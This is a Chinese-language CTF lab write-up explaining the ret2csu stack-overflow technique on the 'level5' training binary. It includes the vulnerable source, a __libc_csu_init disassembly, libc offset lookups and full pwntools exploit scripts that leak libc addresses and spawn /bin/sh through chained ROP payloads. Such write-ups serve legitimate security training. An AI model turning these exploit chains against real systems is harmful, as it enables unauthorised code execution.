[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu相关的知识,希望对你有一定的参考价值。
文章目录
1、检查保护机制
checksec的结果:
2、源码
该题的程序源码为:
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\\n", 13);
vulnerable_function();
}
溢出点为read函数。
3、ret2csu的原理
有很多资料可以参考,此处略过。
4、这道题能否使用常规的ret2libc方法?
4.1 ret2libc方法的分析
事实上,ret2scu可以归类到ret2libc,本节旨在引出ret2scu和ret2libc常规方法的区别,因此将ret2scu从ret2libc中单列出来。
这道题的源代码只有6行两个函数,既没有system,也没有/bin/sh,那么能否采用常规ret2libc的方法解决呢?如果要ret2libc,就需要泄露libc中某个函数的地址,本题中只能是write函数,write函数调用一遍后,got表中的地址项就指向了libc中write函数的地址。
在read函数的溢出点,可将返回值覆盖为write函数,其相应的参数应为rdi = 0,rsi为write函数got表项(该表项指向libc中write函数的真实地址),rdx = 8。通过这种方法,就可以泄露write在libc中的地址。
为达到这种要求,需要调用write前摆好相应的寄存器,这些值可通过查找gadget片段来看,是否能够获得。可通过如下三条命令来查找:
ROPgadget --binary level5 | grep "rdi"
ROPgadget --binary level5 | grep "rsi"
ROPgadget --binary level5 | grep "rdx"
上述三条命令只能找到rdi和rsi的gadget片段,但缺失rdx的gadget片段,因此,使用常规的ret2libc的思路并无法解出这道题。
解答本题需要采用ret2scu,ret2scu也是在ret2libc中一般方法无法奏效时,所采用的方法。
4.2 与Wiki ret2libc3的比较
在[CTF Wiki Pwn]Stackoverflow Lab006: ret2libc3实验中,泄露puts函数的payload为:
payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)
和本题的区别有两点:
一是本题为64位,需要提前把寄存器设置好;wiki ret2libc3是32位,需要把puts的参数放在stack上;设置寄存器需要特定的gadget片段,而把参数放在stack上更为容易;
二是本题中只能泄露write函数,该函数有三个参数需要提前设置好;wiki ret2libc3中泄露的是puts函数,该函数只有一个参数;从参数个数的角度看,ret2libc3也更为容易泄露libc中库函数的真实地址。
5、解题思路
本题的解题思路是构造三次payload,并最终执行execve(’/bin/sh’)。
第一次payload是利用栈溢出执行libc_csu_init函数中的gadget,部署write函数参数并通过write函数got表地址调用write函数打印自身的函数地址,最后重新执行main函数为接下来做准备;
第二次payload是利用栈溢出执行libc_csu_init函数中的gadget,通过read函数got表地址调用read函数向bss段写入execve函数地址以及/bin/sh字符串,并再次重新执行main函数为接下来做准备;
第三次payload是利用栈溢出执行libc_csu_init函数中的gadget,执行写入bss段的execve(’/bin/sh’)。
执行三次payload 的程序流程为:
6、泄露write函数地址(第一次payload)
6.1 __libc_csu_init函数
ret2csu的目标是从__libc_csu_init函数入手,进行分析,该函数对应的汇编为:
00000000004005c0 <__libc_csu_init>:
4005c0: 41 57 push r15
4005c2: 41 56 push r14
4005c4: 41 89 ff mov r15d,edi
4005c7: 41 55 push r13
4005c9: 41 54 push r12
4005cb: 4c 8d 25 3e 08 20 00 lea r12,[rip+0x20083e] # 600e10 <__frame_dummy_init_array_entry>
4005d2: 55 push rbp
4005d3: 48 8d 2d 3e 08 20 00 lea rbp,[rip+0x20083e] # 600e18 <__init_array_end>
4005da: 53 push rbx
4005db: 49 89 f6 mov r14,rsi
4005de: 49 89 d5 mov r13,rdx
4005e1: 4c 29 e5 sub rbp,r12
4005e4: 48 83 ec 08 sub rsp,0x8
4005e8: 48 c1 fd 03 sar rbp,0x3
4005ec: e8 0f fe ff ff call 400400 <_init>
4005f1: 48 85 ed test rbp,rbp
4005f4: 74 20 je 400616 <__libc_csu_init+0x56>
4005f6: 31 db xor ebx,ebx
4005f8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4005ff: 00
400600: 4c 89 ea mov rdx,r13
400603: 4c 89 f6 mov rsi,r14
400606: 44 89 ff mov edi,r15d
400609: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40060d: 48 83 c3 01 add rbx,0x1
400611: 48 39 eb cmp rbx,rbp
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
400616: 48 83 c4 08 add rsp,0x8
40061a: 5b pop rbx
40061b: 5d pop rbp
40061c: 41 5c pop r12
40061e: 41 5d pop r13
400620: 41 5e pop r14
400622: 41 5f pop r15
400624: c3 ret
两处关键的gardet片段的开始地址分别为:0x400600和0x40061a。
6.2 泄露过程和栈空间
本题的溢出点是read函数,主要思路是用csu函数中的gadget片段覆盖返回值地址,把write函数的几个参数设置好,最终调用write函数把其在libc中的真实地址泄露出来。
泄漏时,栈空间的布局为:
6.3 泄露write的exp
from pwn import *
level5 = ELF('./level5')
sh = process('./level5')
raw_input()
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
payload = 'a' * 0x88
payload += p64(csu_behind_gadget)
# payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += 'a' * 56
payload += p64(main)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\\n')
csu(0,0, 1, write_got, 8, write_got, 1, main_addr)
#write_addr = sh.recv(8)
write_addr = u64(sh.recv(8))
print hex(write_addr)
sh.interactive()
执行该python脚本后,可得到泄露出的write函数的地址为:0x7ffb5cb5d3b0
7、bss段写入shellcode(第二次payload)
在上一节,成功泄露了write函数在libc中的地址,接着就可以根据write函数在libc中的真实地址计算出libc的基地址,并计算出system或execve,以及/bin/sh在libc中的地址。
计算该地址有四种方法:
(1)使用Libcsearcher库;
(2)通过在线网站libc database search进行计算;
(3)使用命令手工查找(如:readelf、strings等);
(4)使用ELF接口计算。
前两种是自动计算,所以效率较高,但存在计算结果错误的情况,如果打不通,就可以通过后两种方法进行核对。
在四种方法的选择上,建议(4)>(3)>(2)>(1),也可集中方法结合进行互补计算。
我们先用在线网站进行查找:
查找到的版本是libc6_2.19-0ubuntu6.15_amd64,实际上,运行是的版本为2.23,我们先用2.19查找几个地址,而后再手工进行核对。
- write的offset为:0x0ef3b0
- system的offset为:0x046590
- str_bin_sh的offset为:0x180543
- execve的offset为:c5130
下面手工进行核对:
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "write"
write的偏移为f73b0.
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "system"
system的偏移为0x453a0.
strings /lib/x86_64-linux-gnu/libc-2.23.so -tx|grep "/bin/sh"
"/bin/sh"的偏移为0x15bb2b.
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "execve"
execve的偏移为0xcc7f0.
说明,在线网站给出的结果有误,我们使用手工查找的结果填入payload。
那么,这部分需要发送的payload如下:
sh.recvuntil('Hello, World\\n')
#raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\\x00')
堆栈的布局图就不画了,与上面的类似。
8、两个小知识点
到这里,我们插入两个小的知识点,或者可能的疑惑:
第一点:每次运行时,level5没有开pie,为什么write函数的真实地址是否会变化?
虽然level5的pie是关掉的,但libc2.23的pie是打开的,很多人容易把二进制程序和动态链接的so混在一起考虑,这样会对分析造成影响。请对下面图中两者的保护机制再对比一下,以免分析时混为一谈。
第二点:这个题中,gdb调试到第二次payload跳转到csu的call read时,ni后会卡在那里。主要原因是,gdb调试和python脚本运行不同步,这时需要在发送第二次payload前,即在csu(0, 1, read_got, 16, bss_base, 0, main_addr)之前加入raw_input()。
9、执行/bin/sh(第三次payload)
最后是调用execve函数,主要是将bss首地址(execve函数地址)和bss+8(/bin/sh)在栈空间摆好,然后跳转到csu,调用执行。payload为:
sh.recvuntil('Hello, World\\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
10、exp
from pwn import *
level5 = ELF('./level5')
sh = process('./level5')
#raw_input()
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level = 'debug'
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a
def csu(rbx, rbp, r12, r13, r14, r15, main):
payload = 'a' * 0x88
payload += p64(csu_behind_gadget)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += 'a' * 56
payload += p64(main)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
write_offset = libc.symbols['write']
system_offset = 0x3adb0
bin_sh_offset = 0x15bb2b
execve_offset = libc.symbols['execve']
libc_base = write_addr - write_offset
execve_addr = libc_base + execve_offset
#gdb.attach(sh)
sh.recvuntil('Hello, World\\n')
raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\\x00')
sh.recvuntil('Hello, World\\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
sh.interactive()
以上是关于[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall